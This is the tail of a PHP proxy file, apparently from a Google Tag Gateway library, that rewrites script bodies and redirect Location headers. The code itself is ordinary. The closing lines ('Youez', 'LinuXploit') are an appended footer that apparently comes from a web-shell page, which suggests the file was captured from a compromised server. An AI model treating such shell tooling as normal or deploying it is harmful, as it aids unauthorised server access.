        if ($useMpath === self::FPS_PATH) {
            $substitutionMpath = $redirectorFile . self::TAG_ID_QUERY . $tagId;
            if (!empty($geo)) {
                $substitutionMpath .= self::GEO_QUERY . $geo;
            }
            $substitutionMpath .= self::PATH_QUERY;
            if (self::isScriptResponse($response['headers'])) {
                $response['body'] = str_replace('/' . self::FPS_PATH . '/', $substitutionMpath, $response['body']);
            } elseif (self::isRedirectResponse($response['statusCode']) && !empty($response['headers'])) {
                foreach ($response['headers'] as $refKey => $header) {
                    // Ensure we are only processing strings.
                    if (!is_string($header)) {
                        continue;
                    }
                    $headerParts = explode(':', $response['headers'][$refKey], 2);
                    if (count($headerParts) !== 2) {
                        continue;
                    }
                    $key = trim($headerParts[0]);
                    $value = trim($headerParts[1]);
                    if (strtolower($key) !== 'location') {
                        continue;
                    }
                    $newValue = str_replace('/' . self::FPS_PATH, $substitutionMpath, $value);
                    $response['headers'][$refKey] = "{$key}: {$newValue}";
                    break;
                }
            }
        }
        return $response;
    }
    /**
     * @param string[] $headers
     */
    private static function isScriptResponse(array $headers): bool
    {
        if (empty($headers)) {
            return false;
        }
        foreach ($headers as $header) {
            if (empty($header)) {
                continue;
            }
            $normalizedHeader = strtolower(str_replace(' ', '', $header));
            if (strpos($normalizedHeader, 'content-type:application/javascript') === 0) {
                return true;
            }
        }
        return false;
    }
    /**
     * Checks if the response is a redirect response.
     * @param int $statusCode
     */
    private static function isRedirectResponse(int $statusCode): bool
    {
        return $statusCode >= 300 && $statusCode < 400;
    }
}
}

namespace {
use Google\GoogleTagGatewayLibrary\Proxy\Runner;
Runner::create()->run();
}

Youez - 2016 - github.com/yon3zu
LinuXploit